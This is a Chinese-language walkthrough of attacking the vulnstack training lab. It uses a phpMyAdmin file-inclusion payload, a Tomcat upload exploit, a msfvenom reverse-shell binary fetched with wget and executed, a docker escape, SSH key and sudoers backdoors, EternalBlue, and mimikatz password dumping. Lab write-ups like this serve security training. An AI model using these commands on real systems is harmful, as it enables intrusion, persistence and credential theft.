環境搭建
http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
ubuntu上可以再啟動一下docker
docker start ec 17 09 bb da 3d ab ad
靶機信息
ubuntu:ubuntu 域成員機器 douser:Dotest123 DC:administrator:Test2008 ——>NStest2008 web:192.168.183.129 192.168.255.132
(這里環境配置的時候剛開始沒用NAT,直接對183進行操作了,應該是對NAT的外網IP進行訪問) 域成員:192.168.183.128 windows7 域控:192.168.183.130 DC
信息收集
用nmap掃描一下開放端口
這里是掃到2001 2002 2003這三個端口
圖片找不到了
web頁面打點
phpadmin CVE-2018-12613
先看看第一個phpadmin頁面
進來是一個不需要密碼的phpadmin,看到版本是4.8.1
該版本存在文件包含漏洞,影響4.8.0和4.8.1
來看看存在包含的位置
if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; exit; }
對於target傳入參數做了一些判斷
1需要是字符串,2正則匹配不能是index開頭
3不在$target_blacklist 黑名單里面
$target_blacklist = array ( 'import.php', 'export.php' );
4Core類的checkPageValidity方法判斷為True
public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; } if (in_array($page, $whitelist)) { return true; }
#這里的$page需要在白名單內 $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page);
#有一次url解碼 $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } return false; }
我們想要返回一個True就能bypass了
來一個個的看
第一個if $whitelist為空就把$goto_whitelist給賦值過去
第二個if 判斷是否為字符串,可以過
第三個if 判斷$_page是否在白名單,顯然不在
第四個if 進行了一個mb_substr()函數的執行
這個函數是用於查找前面的字符串中對應后面字符串所出現的第一個位置
下面這個就是表示取到?第一個出現的位置 然后,在從頭開始取到?前面
也就是相當於一個取?前面的部分賦值給$_page,然后判斷是否在白名單里面 是就返回True
那么我們構造target參數前面是在白名單里面的而后面接上?和../../../就能目錄遍歷了(在linux服務器)
再來看看最后一個if 進行了一次url解碼,這個是windows服務器bypass的關鍵
因為windows對於文件名有規范
所以直接寫?就報錯,這里有一次url解碼加上服務器收到數據后有一次解碼
所以把?url編碼兩次就可以bypass
獲取文件包含的payload后繼續來看這里有個test數據庫可以任意操作
寫一張rce表,插入phpinfo
然后F12控制台找到phpadmin的緩存里面記錄了我們的這條信息,需要找到這個緩存的路徑
一般是在
tmp/sess_
payload:http://192.168.183.129:2003/index.php?target=db_datadict.php?../../../../../../../../../tmp/sess_d5033046432999c63181cc5b1716ca78
接下來直接寫一句話木馬連接就可以了
Tomcat 8.5.19 CVE-2017-12617
訪問得到一個tomcat頁面
ok看到了他的版本號可以直接去漏洞庫里面找一下
這里用一個kali自帶的工具 searchsploit 去查找本地的exploit-db庫
查找漏洞 searchsploit tomcat 8.5.19 通過路徑下載到當前目錄 searchsploit -m /jsp/webapps/42966.py
然后直接poc跑一下
驗證成功存在上傳漏洞
直接可以用payload來攻擊
python3 42966.py -u http://192.168.183.129:2002 -p pwn
這里得到一個shell,可以通過msf生成linux木馬來上線msf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.255.128 LPORT=7869 -f elf > msf_shell.elf
然后掛載這個msf_shell.elf文件到web,用獲取到的shell去下載,在chmod 權限去執行
wget http://192.168.255.128/msf_shell.elf chmod 777 msf_shell.elf ./msf_shell.elf
在用msf接收就可以上線了
set payload linux/x86/meterpreter/reverse_tcppayload linux/x86/meterpreter/reverse_tcp set lhost 192.168.255.128 set lport 7869 run
但是我這里這個ubuntu的web靶機不知道為什么網絡不可達了,反彈shell和這種木馬上線都不行了
不能網絡訪問到我的攻擊機了,一般情況應該是可以的,這里由於未知的網絡問題就不演示了。T_T
Struct 2漏洞
這里訪問得到的是一個struct 2框架的頁面
直接上工具干一波,檢測出來有漏洞
嘗試執行一下,返回了異常報錯
其實我覺得應該就是之前提到的網絡問題導致這樣的,正常的應該是可以的,這里就不繼續驗證了
換了一個版本的工具再來試試 可以成功執行了
上傳木馬顯示失敗,但是去訪問發現已經上傳成功了
然后小馬托大馬或者直接傳大馬
直接冰蠍可以連接上來
利用Tomcat上傳冰蠍馬上線
這個漏洞因為是上傳,我們上傳冰蠍馬
這里直接把get改成PUT方法來上傳就可以了
然后冰蠍連接
docker逃逸
進來發現是一個docker,這里嘗試逃逸,特權模式啟動的 可以mout掛載目錄獲得讀取權限
掛載目錄
fdisk -l 查看掛載目錄
mkdir runout
掛載本地目錄到主機
mount /dev/sda1 runout
然后就可以帶上runout目錄去執行訪問了
前面說了反彈shell和木馬上線由於網絡都不行了,所以這里用寫ssh密鑰
寫入密鑰連接ssh
生成公鑰和私鑰
ssh-keygen -t rsa
寫入公鑰時候 路徑不能用~,不然會找不到,直接寫就是了
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD7WiRj9NWLuko6ez9d2dyLyr7I8SPHFKKIPOeuT8iJdVc76MF1i8dZKGnxm+yyHbU/gnQ64FkOmgH35UQW814CR6nGM5EsmhExRG9uPsV3aWCkZICRyzRZQ2VnTFjw9ZQAvjY+1YaaXDZ15HGBep/DIokpcpIjjfKER2F3aD5kKa7uVbpi7MRlVhSuXrPeke5yiXtd3l6OtEd+BG+x+MlOyXUt/tkiENoR762twa5o2P78AOBYhiyGaaLxznnbL5KfuyC/ZQuB/Z/aWIqwCGt3ZsBh2iBGBEpoXEAsdRzTwPHbuYV2EZQce1du47KLDrP6vsXV2+9k2SChmZJjgSQE9CR48GQ6BXROoM7eGdW+dCiz3XaMdA7BiK9P57SLt77obulRfWroSSXPD0NtjUQh/9g8yK3RTlpxA+CTaIuTEcQgfwxUNDkKu6t13Jl0T4/F5nfnDhEAlz0WDAb87yekfHRsUGENXD2YRg/WRXbwdJzgTnvNb3YtD+d51Tv50Fs= root@kali' >> runout/home/ubuntu/.ssh/authorized_keys
對比
寫~會找不到!!因為這是一個jsp木馬 冰蠍連接的,只是能rce並不是一個真正的shell,所以路徑要注意直接寫絕對路徑
寫入成功之后就可以直接用密鑰來免密連接了
ssh username@IP
得保證 authorized_keys文件有600的權限也就是 root的 rw 權限
ubuntu提權姿勢,普通的用戶無法直接su root操作受限制
可以值/etc/sudoers文件里面加入一條語句,使得可以su 切換root
echo 'UBUNTU ALL=(ALL:ALL) ALL' >> runout/etc/sudoers
這里輸入ubuntu的密碼就可以了切換到root了
不知道密碼怎么辦,我們應該可以通過寫入/ect/passwd 和/etc/shadow來直接創建出我們已知的用戶
這樣也可以來提權不過我寫入進去沒有得到用戶。而且這種操作留下痕跡也明顯
。。。。。
或者試試linux的一些提權漏洞
sudo su root
然后這里除了寫ssh密鑰應該也是可以反彈shell的,
反彈shell姿勢有很多,傳到定時任務目錄,或者直接寫到機器執行
上線msf等等
我試了很多次都是這樣的結果
連不上!連不上!
他說網絡連接不可達
就算我直接訪問VPS也是訪問不了,可能是網絡哪里出問題了這個web靶機。
裂開來 上不了msf 不能彈shell 真的難受
內網橫向
然后win7登錄給我來個這種,由於域還不是很懂,不敢取亂配置,導致我無法登錄上去了
因為我kali和三台靶機是一個虛擬機網段,所以能直接訪問到
這里就直接用永恆之藍探測攻擊win7了 沒法代理信息收集了
use windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.128
show options
run
如果沒有打出來可以多run幾次
這里攻擊成功
彈回一個shell
這里出現中文亂碼,很不方便信息收集
可以直接設置改變編碼
chcp 65001
這台win7打進去后我們用meterpreter遷移進程,目的是從x86遷移到x64里面
getpid
ps
這里遷移到了460進程里面,有些進不去就換其他的進程多試試
migrate 460
可以傳一個mimikatz上去,這台win7桌面上就有就不傳了
然后mimikatz試着抓密碼出現權限不夠的這種情況
可以嘗試用着兩條命令來提高權限試試
use incognito impersonate_token "NT AUTHORITY\SYSTEM"
然后抓取密碼
privilege::debug
sekurlsa::logonpasswords
直接獲取內存口令
這里我的win7前面就提到出了點問題 ,先暫時到這里